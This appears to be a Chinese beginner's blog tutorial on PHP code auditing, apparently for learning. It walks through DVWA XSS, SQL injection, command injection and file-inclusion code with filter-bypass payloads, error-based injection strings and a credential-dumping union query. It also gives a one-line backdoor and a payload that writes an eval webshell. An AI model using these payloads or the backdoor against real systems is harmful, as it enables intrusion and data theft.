代码审计入门

前言

最近在看php代码审计,学习下代码审计,看了不少师傅的博客,写的很好,下面不少是借鉴师傅们的,好记性不如烂笔头,记下,以后可以方便查看。

php代码审计需要比较强的代码能力和足够的耐心。这篇文章是写给我这样的刚刚开始审计的菜鸟,下面如果写的哪里有错误的话,还望提出,不吝赐教。

在这里也立个flag:一周至少审计一种CMS(大小不分),希望自己能够坚持下去,任重而道远。

代码审计--准备

1,先放一张大图,php代码审计的几个方向,也是容易出问题的地方,没事的时候可以多看看。

2,代码审计也就是拿到某网站的源码,进行审计,从而发现漏洞,但是我们审计的时候并不一定要一行一行的去看吧,这样未免也太浪费时间了,所以我们需要工具进行帮助我们。当属 "Seay源代码审计系统2.1" 优先选择(静态分析,关键字查找定位代码不错,但是误报很高)。

我们在做代码审计的时候,个人建议先要把审计的某CMS随便点点,先熟悉一下功能。代码审计前先进行黑盒测试是个不错的选择,知道哪里有问题,然后再去找出问题的代码。

要关注变量和函数,

1.可以控制的变量【一切输入都是有害的 】

2.变量到达有利用价值的函数[危险函数] 【一切进入函数的变量是有害的】

                                                                    ------来源t00ls

代码审计--漏洞

一,漏洞类型

1.sql注入

2.文件操作[上传/写入/读取/删除]

3.文件包含

4.命令执行

5.xss

6.cookie欺骗

7.逻辑漏洞

........等等

我们平常再进行黑盒测试时,上面的每种漏洞都有相对应的挖掘技巧,这里代码审计也是有技巧的。我们进行黑盒测试getshell的时候,往往是上面的sql注入,文件操作(上传),文件包含,命令执行相对容易getshell的。xss的话危害也很大,可以泄露内网的信息,如果的是存储型xss的话,就可以打管理员的cookie,然后进行下一步的攻击。逻辑漏洞是相对麻烦的,危害是很要命的,逻辑漏洞也分为很多种,其中一元买东西是很出彩的,这里通过修改订单进行伪造支付金额。

所以我们要认识清楚漏洞原理,积累cms常出漏洞,积累找这种漏洞的技巧。

二,漏洞分析

下面我们就进行分析一下各种漏洞形成的原因吧

1,首先我们要做好准备工作,审计环境:windows环境(Apache+MySQL+php),可以使用集成的,wampserver,phpstudy其他,我用的是wamp,这里在下载的时候不要用版本太高的,因为版本太高,会出现php语法警告以及不兼容的情况。(下一篇也就是我准备写的一个审计笔记,我平常用的wampserver,由于我的mysql的版本太高,一直安装不成功,后来又重装了一个环境(upupw),会在下一篇详细介绍)(文章里面所提到的环境和工具后面都会分享到百度云盘)。

2,准备好了就直接上手分析吗?其实有更不错的选择,那就是----黑盒+白盒。黑盒很重要!黑盒很重要!黑盒很重要!这是重要的事情。我们在黑盒测试的时候,可以花费点时间,因为用的时间越多,我们对所要分析的CMS的功能更熟悉,代码审计的时候也就容易分析,比如看到搜索框,当然要看下有没有注入或者是能不能弹出来框框,以及留言板有没有xss。交互的数据很重要!

这里有个小技巧,本地测试的时候要把输入点打印出来。

将用户的输入数据进行var_dump,重要的是对最终的sql语句进行var_dump,这和给你省去很多力气!我们只要var_dump($sql)然后再可以去黑盒测试,[比如搜索框,用户登入,文件上传名称等等]。

3,现在可以进行漏洞分析了,下面会写到比较常见的漏洞类型以及审计不同漏洞的技巧。

XSS漏洞

XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。 xss分为存储型的xss和反射型xss, 基于DOM的跨站脚本XSS。

【反射型】

反射型xss审计的时候基本的思路都一样,通过寻找可控没有过滤(或者可以绕过)的参数,通过echo等输出函数直接输出。寻找的一般思路就是寻找输出函数,再去根据函数寻找变量。一般的输出函数有这些:print , print_r , echo , printf , sprintf , die , var_dump ,var_export。

测试代码如下:

<?php
echo $_GET['xssf'];
?>
 

http://127.0.0.1/test/xssf.php?xssf=<script>alert(/orange/);</script>

可能有人会有情绪不高,因为这是自己写的,玩起来没有成就感,

那我们可以用渗透平台 DVWA 呀(后面会分享到百度云盘,有了wampserver环境,直接把文件夹放/wamp/www/目录就可以),当然了,这里我们选择low的难度,因为好分析。我们输入<script>alert("orange")</script>,会弹出框框。如下图所示

相关链接(http://127.0.0.1/DVWA-1.9/vulnerabilities/xss_r/?name=<script>alert("orange")</script>#)

分析如下:首先看下源码

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

这里我们可以清楚的看到 if 里面的php函数array_key_exists,现在不懂没关系,百度一下你就知道。

array_key_exists(key,array)
key必需。规定键名。
array必需。规定数组。

array_key_exists() 函数检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false。

输入的值也就是GET得到的值是以数组的形式,然后判断GET得到的name是不是空,如果满足 if 语句,这里就会进行 if 括号里面的,echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; 我们可以清楚的看到,这里直接输出传的name参数,并没有任何的过滤与检查,存在明显的XSS漏洞。

这里我们可以再进行分析一下medium中等难度下的代码

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

可以看到有一点上low的代码是不一样的,那就是进行了一次过滤,

用的str_replace()函数,这个函数的功能是:以其他字符替换字符串中的一些字符(区分大小写)。

这里的作用是替换<script>,也就是把<script>替换成空格,然后再进行输出。

这里对输入进行了过滤,基于黑名单的思想,使用str_replace函数将输入中的<script>删除,这种防护机制是可以被轻松绕过的。

双写绕过:输入<sc<script>ript>alert(/xss/)</script>,成功弹框。

大小写混淆绕过:输入<ScRipt>alert(/xss/)</script>,成功弹框。这里就不截图了。

High等级也是基于黑名单思想,进行过滤。但是我们可以通过其他标签来进行XSS。

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); 

代码如上,这里就不一一分析了。

【存储型】

存储型xss审计和反射型xss审计时候思路差不多,不过存储型xss会在数据库“中转”一下,主要审计sql语句update ,insert更新和插入。

进行白盒审计前,我们先进行下黑盒测试

输入name的时候发现,name输不了那么多了,这是我们可以右键审查元素,可以看到限制长度为10了,其实说这句话,只是想提醒一下像我这样的小白,审查元素也是一门"学问"

name出随便输入,message处输入:<script>alert(/orange/)</script>,可以看到会弹出框框

这是看下源码,我们分析下

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = mysql_real_escape_string( $message );

    // Sanitize name input
    $name = mysql_real_escape_string( $name );

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    //mysql_close();
}

?>

可以看到接收POST过来的参数,trim()函数是移除字符串两侧的空白字符或其他预定义字符。

这里先进行过滤一下,把我们输入字符串两侧的空白字符和其他预定义字符给过滤掉。预定义字符包括:\t,\n,\x0B,\r以及空格。

$message = stripslashes( $message );

然后stripslashes()函数:删除反斜杠

然后message参数再经过mysql_real_escape_string()函数进行转义。

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

最后给插入数据库。这个时候我们去数据库看一下,如下图,可以看到xss代码已经插入数据库了,这也就是存储型XSS与反射性XSS的区别。

因为我们在前端看到的都是经由数据库传过来的数据,所以会弹出框框。

这里我最后总结一下,顺便再分析一下。

我输入的值是:<script>alert(/orange/)</script>,首先上面的trim()函数过滤空格和预定义字符,这里对输入的值是没有影响的,所以$messsge还是<script>alert(/orange/)</script>,然后stripslashes()函数删除反斜杠,由于输入的message没有反斜杠,所以无效。$message还是<script>alert(/orange/)</script>,最后用mysql_real_escape_string()函数进行转义,上面可以清楚的看到这个函数对什么字符有影响,但是没有对$message有影响,所以这时的$_message还是<script>alert(/orange/)</script>这个时候就把$message传入数据库,也就是上图数据库中的数据。前端读取的数据的时候是从数据库中读取,因此把$message读出来,从而造成了存储型XSS漏洞。

还有medium,high,这里就不做分析了,这里解决XSS漏洞的方法就是用htmlspecialchars函数进行编码。但是要注意的是,如果htmlspecialchars函数使用不当,

攻击者就可以通过编码的方式绕过函数进行XSS注入,尤其是DOM型的XSS。说的DOM型XSS,下面就是啦。

【DOM】

这个DVWA里面没有这种,这里还是我们自己动手丰衣足食吧。

基于DOM的跨站脚本XSS:通过访问document.URL 或者document.location执行一些客户端逻辑的javascript代码。不依赖发送给服务器的数据。

<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
Welcome to our system

</HTML>

浏览器开始解析这个HTML为DOM,DOM包含一个对象叫document,document里面有个URL属性,这个属性里填充着当前页面的URL。当解析器到达javascript代码,它会执行它并且修改你的HTML页面。倘若代码中引用了document.URL,那么,这部分字符串将会在解析时嵌入到HTML中,然后立即解析,同时,javascript代码会找到(alert(…))并且在同一个页面执行它,这就产生了xss的条件。

注意:

1. 恶意程序脚本在任何时候不会嵌入到处于自然状态下的HTML页面(这和其他种类的xss不太一样)。

2.这个攻击只有在浏览器没有修改URL字符时起作用。 当url不是直接在地址栏输入,Mozilla.会自动转换在document.URL中字符<和>(转化为%3C 和 %3E),因此在就不会受到上面示例那样的攻击了,在IE6下没有转换<和>,因此他很容易受到攻击。

这里可以看到我的浏览器自动转换了字符<>,所以没有弹出框,这里我们知道原理就好,IE6下没有转换<和>,所以是可以弹框框的。

SQL注入漏洞

sql注入是我们审计比较重视的漏洞之一

SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。SQL注入的产生原因:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。

首先说一下普通的注入审计,可以通过$_GET,$_POST等传参追踪数据库操作,也可以通过select , delete , update,insert 数据库操作语句反追踪传参。

现在的一般的CMS都注意到了SQL注入的严重性,所以他们对于注入都进行了一定的过滤,一般他们会用到两种过滤方法。

01.对于数字型的输入,直接使用intval($_GET[id]),强制转换成整数,这种过滤是毫无办法的。
$ann_id = !empty($_REQUEST['ann_id']) ? intval($_REQUEST['ann_id']) : '';
要是没有intval($_GET[id]) 那就尴尬了。
ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,(select%20concat(admin_name,0x23,email,0x23,pwd)%20from%20blue_admin)
02.有些输入是字符型的,不可能转换成数字。这个使用就使用addslashes对输入进行转义。
aaa’aa ==> aaa\’aa
aaa\aa ==> aaa\\aa
SELECT * FROM post WHERE id=’aaa\’ union select pwd from admin limit 0,1#

下面介绍下常见的SQL注入类型,最后再用DVWA进行分析。

漏洞(一)ip没过滤直接进到sql语句

函数讲解:

getenv : 这个函数是获得环境变量的函数,也可以用来获得$_SERVER数组的信息。

getenv('HTTP_X_FORWARDED_FOR') --> $_SERVER[HTTP_X_FORWARDED_FOR]

当然http头还有referer 这也是可以伪装的,要是没有过滤好也会产生会注入问题

漏洞(二)宽字节注入 [对字符]

如果发现 cms是GBK 只有看看 能不能宽字节注入

Sqlmap 的unmagicquotes.py 可以进行宽字测试

解决宽字节注入办法:

mysql_query("SET character_set_connection=gbk,character_set_results=gbk,character_set_client=binary", $conn);

到这里就一般高枕无忧了.....

但是 要是画蛇添足得使用iconv就可能出现问题了

有些cms:

会加上下面语句避免乱码

iconv('utf-8', 'gbk', $_GET['word']);

将传入的word有utf-8转成gbk.....

发现錦的utf-8 编码是0xe98ca6,而的gbk 编码是0xe55c

我们输入錦' -->%e5%5c%27【%5c就是\】

在经过转移------>%e5%5c%5c%27【5c%5c就是\\】这样我们就可以注入了

漏洞(三)二次注入

攻击payload首先被Web服务器上的应用存储,随后又在关键操作中被使用,这便被称为二次注入漏洞。

详细请看(http://www.cnblogs.com/ichunqiu/p/5852330.html)

漏洞(四)文件名注入

因为$_FILE,$_SERVER不受gpc影响,那么可能造成注入.......

有些cms会把name的值保存在数据库里,但又没有对name进行过滤。

乌云编号:wooyun-2010-051124

漏洞(五)报错注入

1、通过floor报错,注入语句如下:  

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2、通过ExtractValue报错,注入语句如下:

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3、通过UpdateXml报错,注入语句如下:

and 1=(updatexml(1,concat(0x3a,(selectuser())),1))

4、通过NAME_CONST报错,注入语句如下:

and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5、通过join报错,注入语句如下:

select * from(select * from mysql.user ajoin mysql.user b)c;

6、通过exp报错,注入语句如下:

and exp(~(select * from (select user () ) a) );

7、通过GeometryCollection()报错,注入语句如下:

and GeometryCollection(()select *from(select user () )a)b );

8、通过polygon ()报错,注入语句如下:

and polygon (()select * from(select user ())a)b );

9、通过multipoint ()报错,注入语句如下:

and multipoint (()select * from(select user() )a)b );

10、通过multlinestring ()报错,注入语句如下:

and multlinestring (()select * from(selectuser () )a)b );

11、通过multpolygon ()报错,注入语句如下:

and multpolygon (()select * from(selectuser () )a)b );

12、通过linestring ()报错,注入语句如下:

and linestring (()select * from(select user() )a)b );

小技巧:

最好可见在本地测试时候讲你的输入点打印出来

我会将用户的输入数据进行var_dump

重要的是对最终的sql语句进行var_dump,这和给你省去很多力气!我们只要var_dump($sql)然后再可以去黑盒测试。

 DVWA分析

SQL Injection

选择Low级别,便于审计分析。首先我们黑盒测试一下,我们输入:

1‘or ’1‘=’1这个时候就可以判断出存在字符型注入。

1' or 1=1 order by 2 #   ,1' or 1=1 order by 3 #,这个时候就可以判断2个字段。下面的就不进行注入爆库了。

这个时候看下源码分析一下。

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Get values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    mysql_close();
}

?>

可以看到,接收到submit传过来的值,id没有进行任何的检查与过滤,存在明显的SQL注入。

选择medium级别

代码如下

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string( $id );

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Display values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    //mysql_close();
}

?>

可以看到对接收到的参数id  只是用函数mysql_real_escape_string()转义了一下。

下列字符受影响:

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a

而且前端页面设置了下拉选择表单,希望以此来控制用户的输入。不过没多大用处,我们依然可以通过抓包改参数,提交恶意构造的查询参数。

抓包更改参数id为1 or 1=1 #,查询成功,说明存在数字型注入。(由于是数字型注入,服务器端的mysql_real_escape_string函数就形同虚设了,因为数字型注入并不需要借助引号。),所以我们还是可以进行注入。

选择high级别

代码分析

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Get values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    mysql_close();
}

?>

以看到,与Medium级别的代码相比,High级别的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。这样的就又可以进行注入了。

SQL Injection(Blind),即SQL盲注

与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。

代码分析

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    mysql_close();
}

?>

可以看到,Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞,同时SQL语句查询返回的结果只有两种

User ID exists in the database.

User ID is MISSING from the database.

因此这里是SQL盲注漏洞。

输入1’ and 1=1 #,显示存在。输入1’ and 1=2 #,显示不存在。说明存在字符型的SQL盲注。这里仅作判断存在SQL注入,不进一步攻击。

选择medium级别

代码分析

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string( $id );

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?>

可以看到对接收到的参数id  只是用函数mysql_real_escape_string()转义了一下。

下列字符受影响:

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a

而且前端页面设置了下拉选择表单,希望以此来控制用户的输入。不过没多大用处,我们依然可以通过抓包改参数,提交恶意构造的查询参数。

抓包更改参数输入1’ and 1=1 #,显示存在。输入1’ and 1=2 #,显示不存在。说明存在字符型的SQL盲注,查询成功,说明存在注入。

high级别

代码分析

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    mysql_close();
}

?>

可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,但仍然是可以注入的。

代码执行审计

代码执行审计和sql漏洞审计很相似,sql注入是想sql语句注入在数据库中,代码执行是将可执行代码注入到webservice 。这些容易导致代码执行的函数有以下这些:eval(), asset() , preg_replace(),call_user_func(),call_user_func_array(),array_map()其中preg_replace()需要/e参数。

代码执行注入就是 在php里面有些函数中输入的字符串参数会当做PHP代码执行。

Eval函数在PHP手册里面的意思是:将输入的字符串编程PHP代码

1,先写个简单的代码测试一下(很俗套的代码)

<?php
if(isset($_GET['orange']))
{
    $orange=$_GET['orange'];
    eval("\$orange=$orange");
}
//PHP  代码审计代码执行
?>

直接接收orange参数,payload:?orange=phpinfo();

下面图可以看到成功执行。

2,再看一个,测试代码如下

<?php
//PHP 代码审计代码执行注入
if(isset($_GET['orange']))
{
    echo $regexp = $_GET['orange'];
    $String = '<php>phpinfo()</php>';
    var_dump(preg_replace("/<php>(.*?)$regexp","\\1",$String));
}
?>

可以看到代码有正则preg_replace(),所以现在需要/e参数,才能进行代码执行。

正则表达式过滤后是phpinfo(),正则表达式的意思是将String中含reg的字符串的样式去除。所以现在我们可以构造payload:?orange=<\/php>/e   ,现在解释一下为什么,preg_replace(),/<php>(.*?)$regexp,接收的参数构造成正则表达式/<php>(.*?)<\/php>/e,将$String也就是<php>phpinfo()</php>过滤成phpinfo(),这样就可以成功执行了。

 3,参数注入,测试代码如下

<?php
//PHP 代码审计代码执行注入
if(isset($_GET['orange']))
{
    echo $regexp = $_GET['orange'];
    //$String = '<php>phpinfo()</php>';
    //var_dump(preg_replace("/<php>(.*?)$regexp","\\1",$String));
    preg_replace("/orange/e",$regexp,"i am orange");
}
?>

分析和上面差不多。
直接构造payload就好:?orange=phpinfo();

 4,动态函数执行----一个超级隐蔽的后门

测试代码

<?php $_GET[a]($_GET[b]);?>

 仅用GET函数就构成了木马;利用方法payload:

?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};

 运行上述payload,会在同目录下生成c.php文件,里面的内容是<?php @eval($_POST[c]); ?>1,生成一句话木马。

 命令执行审计

代码执行说的是可执行的php脚本代码,命令执行就是可以执行系统命令(cmd)或者是应用指令(bash),这个漏洞也是因为传参过滤不严格导致的,

一般我们说的php可执行命令的函数有这些:system();exec();shell_exec();passthru();pcntl_exec();popen();proc_open();

反引号也是可以执行的,因为他调用了shell_exec这个函数。

1,测试代码:

<?php
$orange=$_GET['orange'];
system($orange);
?>

直接GET传参,然后system()----执行shell命令也就是向dos发送一条指令

payload:?orange=net user   查看一下电脑的用户。


2,再演示一个popen()函数
测试代码:
<?php
popen('net user>>C:/Users/ww/Desktop/1234.txt','r');
?>

只要php文件运行,就会在上述路径生成1234.txt文件,里面的内容是net user的结果。

3,反引号命令执行

测试代码:

<?php
echo `net user`;
?>

直接echo ,直接就可以执行命令

DVWA分析

选择low级别,先进行一下黑盒测试。

输入8.8.8.8&&net user,可以看到成功执行两条命令

下面分析一下,相关函数介绍 

stristr(string,search,before_search)

stristr函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点),如果未找到所搜索的字符串,则返回 FALSE。参数string规定被搜索的字符串,参数search规定要搜索的字符串(如果该参数是数字,则搜索匹配该数字对应的 ASCII 值的字符),可选参数before_true为布尔型,默认为“false” ,如果设置为 “true”,函数将返回 search 参数第一次出现之前的字符串部分。

php_uname(mode)

这个函数会返回运行php的操作系统的相关描述,参数mode可取值”a” (此为默认,包含序列”s n r v m”里的所有模式),”s ”(返回操作系统名称),”n”(返回主机名),” r”(返回版本名称),”v”(返回版本信息), ”m”(返回机器类型)。

命令连接符


command1 && command2   先执行command1后执行command2
command1 | command2     只执行command2
command1 & command2    先执行command2后执行command1


以上三种连接符在windows和linux环境下都支持
如果程序没有进行过滤,那么我们就可以通过连接符执行多条系统命令。

可以看到,服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致了严重的命令注入漏洞。

看下代码:

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

上面代码可以清楚的看到,对输入的命令没有过滤,直接进行参数的传递。可以通过用“&&”和“;”来执行额外的命令 ping 8.8.8.8&&net user

选择medium级别,先进行黑盒测试,

发现输入:8.8.8.8&&net user,不可以用,这个时候可以去掉一个,输入:8.8.8.8&net user,是可以”成功“的。

但是这里需要注意的是”&&”与”    &”的区别:
Command 1&&Command 2
先执行Command 1,执行成功后执行Command 2,否则不执行Command 2

Command 1&Command 2
先执行Command 1,不管是否成功,都会执行Command 2

这个时候我们看下代码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

相比Low级别的代码,服务器端对ip参数做了一定过滤,即把”&&” ,”;”删除,本质上采用的是黑名单机制,因此依旧存在安全问题。

这个时候就可以开始利用了

***因为被过滤的只有”&&”与”    ;”,所以”&”不会受影响。所以可以输入:8.8.8.8&net user

***由于使用的是str_replace把”&&”,”;”替换为空字符,因此可以采用以下方式绕过: 8.8.8.8;&net user

这是因为”8.8.8.8&;&net user”中的” ;”会被替换为空字符,这样一来就变成了”8.8.8.8&;&net user” ,会成功执行。

选择high级别,先进行黑盒测试,结果发现,好多都被过滤掉了,没关系,看下代码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

相比Medium级别的代码,High级别的代码进一步完善了黑名单,但由于黑名单机制的局限性,我们依然可以绕过。

漏洞利用

Command 1 | Command 2
“|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2执行的结果。
黑名单看似过滤了所有的非法字符,但仔细观察到是把”| ”(注意这里|后有一个空格)替换为空字符,于是    ”|” 就有用了。

输入:8.8.8.8|net user  

下图成功执行。

文件包含审计

 PHP的文件包含可以直接执行包含文件的代码,包含的文件格式是不受限制的,只要能正常执行即可。

文件包含有这么两种:本地包含(LFI)和远程包含(RFI)。,顾名思义就能理解它们的区别在哪。

审计的时候函数都是一样的,这个四个包含函数: include() ; include_once() ; require();require_once().include 和 require 语句是相同的,除了错误处理方面:require 会生成致命错误(E_COMPILE_ERROR)并停止脚本,include 只生成警告(E_WARNING),并且脚本会继续。

先说一下本地包含,本地包含就指的是只能包含本机文件的漏洞,一般要配合上传,或者是已控的数据库来进行使用。

先写个简单的代码测试一下。

在www目录下新建两个php文件,baohan1.php,baohan2.php

baohan2.php代码

<?php
phpinfo();
?>

baohan1.php

<?php
include("baohan2.php");
?>

打开baohan1.php,可以看到成功执行baohan2.php的代码,成功把banhan2.php给包含了

这个时候稍微修改下代码。把baohan1.php的:include("baohan2.php");改成include("baohan2.txt");

把baohan2.php改成baohan2.txt。再次访问baihan1.php,可以看到成功包含,

接下来将baohan2.txt文件的扩展名分别改为jpg、rar、doc、xxx进行测试,发现都可以正确显示phpinfo信息。由此可知,只要文件内容符合PHP语法规范,那么任何扩展名都可以被PHP解析。

再来看一下远程文件包含

当服务器的php配置中选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件。如果对文件来源没有检查的话,就容易导致任意远程代码执行。

allow_url_include在默认情况下是关闭的,如果想要实验测试的话,可以去打开,但是真实环境中建议关闭。

DVWA分析

先选择low级别,先进行黑盒测试一下,进行包含,看到file1,file2,file3,试下file4,因为file.php存在,结果包含到了,并且提示you  are  rigjt。

这个时候可以进一步操作,可以使用../让目录回到上级目录,以此来进行目标目录(通过多个../可以让目录回到根目录中然后再进入目标目录),

试一下吧,?page=../../php.ini   ,除了这么多还有其他的操作等待你去挖掘。

现在分析一下代码<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

可以看到直接接收page参数,没有进行任何过滤操作,所以造成文件包含漏洞。

下面选择medium,先看下代码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

